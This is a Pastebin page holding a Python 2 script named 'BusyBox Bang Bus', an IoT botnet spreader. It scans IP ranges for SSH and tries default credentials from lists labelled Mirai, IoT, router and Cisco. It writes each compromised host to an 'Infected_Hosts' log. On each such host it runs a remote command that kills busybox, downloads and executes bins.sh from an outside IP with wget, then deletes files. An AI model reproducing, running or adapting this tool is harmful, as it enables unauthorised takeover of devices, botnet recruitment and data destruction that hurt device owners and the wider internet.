Advertisement
1337ings

[Python] BuSyBoXBaNGBuS - Edited

Feb 9th, 2017
1,184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.71 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3. Busybox Bang Bus - Edited by Chris Poole
  4. Shout out to LNO LiGhT
  5. """
  6.  
  7. import threading, paramiko, random, socket, time, os, sys
  8.  
  9. os.system("clear")
  10.  
  11. if len(sys.argv) < 3:
  12. print " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "
  13. print " BuSyBoX BaNG BuS - Edited by Chirs Poole "
  14. print " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "
  15. print "| Usage: python "+sys.argv[0]+" [Start IP] [End IP] [0/1/2/mirai/iot] |"
  16. print "| Usage: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 0 | COM Routers |"
  17. print "| Usage: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 1 | Routers |"
  18. print "| Usage: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 2 | Cisco Routers |"
  19. print "| Usage: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 mirai | Mirai Devices |"
  20. print "| Usage: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 iot | Internet of Things |"
  21. print " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "
  22. sys.exit(" Example: python "+sys.argv[0]+" 119.93.0.0 119.93.254.254 1\n")
  23.  
  24. sys.stdout.write("\x1b]2;BuSyBoX BaNG BuS\x07")
  25. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  26.  
  27. passwords = [ # argv 0
  28. "admin:1234",
  29. "admin:admin",
  30. "root:1234",
  31. "root:root",
  32. ]
  33.  
  34. if sys.argv[3] == '1':
  35. passwords = [ "root:root", "root:1234", "admin:1234", "admin:admin" ] # Routers #
  36. if sys.argv[3] == '2':
  37. passwords = [ "root:password", "admin:password" ] # Cisco Routers #
  38. if sys.argv[3] == 'mirai':
  39. passwords = [ "admin:1234", "admin:password", "admin:qwerty", "admin:0", "admin:pi", "admin:gnome", "root:1234", "root:password", "root:qwerty", "root:0", "root:pi", "root:gnome" ] # Mirai IoT #
  40. if sys.argv[3] == 'iot':
  41. passwords = [ "ubnt:ubnt", "root:perl", "root:printer", "root:zte", "root:cam", "root:edu", "root:gov", "root:camera", "root:wifi", "root:ssh", "root:levno", "admin:perl", "admin:printer", "admin:zte", "admin:cam", "admin:edu", "admin:gov", "admin:camera", "admin:wifi", "admin:ssh", "admin:levno" ] # IoT's #
  42.  
  43. raw_input("Press <ENTER> to Enter the Bang Bus")
  44. credit = '''
  45. | - - - - - - - - - - - - - - - - - - - - - |
  46. | BusyBox Bang Bus - Edited has started! |
  47. | Edited by Chris Poole | @codingplanets |
  48. | - - - - - - - - - - - - - - - - - - - - - |
  49. | Please give BBB 5 minutes to spawn |
  50. | all paramiko threads. |
  51. | - - - - - - - - - - - - - - - - - - - - - |
  52. '''
  53. print "\033[0m" + credit + "\033[0m"
  54.  
  55. def ipRange(start_ip, end_ip):
  56. start = list(map(int, start_ip.split(".")))
  57. end = list(map(int, end_ip.split(".")))
  58. temp = start
  59. ip_range = []
  60.  
  61. ip_range.append(start_ip)
  62. while temp != end:
  63. start[3] += 1
  64. for i in (3, 2, 1):
  65. if temp[i] == 256:
  66. temp[i] = 0
  67. temp[i-1] += 1
  68. ip_range.append(".".join(map(str, temp)))
  69.  
  70. return ip_range
  71. class sshscanner(threading.Thread): # TAG: 1A
  72. def __init__ (self, ip):
  73. threading.Thread.__init__(self)
  74. self.ip = str(ip)
  75. global passwords
  76. def run(self):
  77. x = 1
  78. while x != 0:
  79. try:
  80. username='root'
  81. password="0"
  82. port = 22
  83. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  84. s.settimeout(3)
  85. s.connect((self.ip, port))
  86. s.close()
  87. ssh = paramiko.SSHClient()
  88. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  89. dobreak=False
  90. for passwd in passwords:
  91. if ":n/a" in passwd:
  92. password=""
  93. else:
  94. password=passwd.split(":")[1]
  95. if "n/a:" in passwd:
  96. username=""
  97. else:
  98. username=passwd.split(":")[0]
  99. try:
  100. ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  101. dobreak=True
  102. break
  103. except:
  104. pass
  105. if True == dobreak:
  106. break
  107. badserver=True
  108. stdin, stdout, stderr = ssh.exec_command("echo busyboxed")
  109. output = stdout.read()
  110. if "busyboxed" in output:
  111. badserver=False
  112. if badserver == False:
  113. os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> BusyBoxBangBus_Infected_Hosts.log")
  114. print "\033[32mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"
  115. ssh.exec_command("cd /; pkill -9 busybox; wget http://69.69.96.69/bins.sh; chmod 777 bins.sh; ./bins.sh; chmod 777 *; sh bins.sh; rm -fr *") # Place your payload here #
  116. time.sleep(3)
  117. ssh.close()
  118. if badserver == True:
  119. ssh.close()
  120. except:
  121. pass
  122. x = 0
  123. ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
  124. for ip in ip_range:
  125. try:
  126. t = sshscanner(ip)
  127. t.start()
  128. except:
  129. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement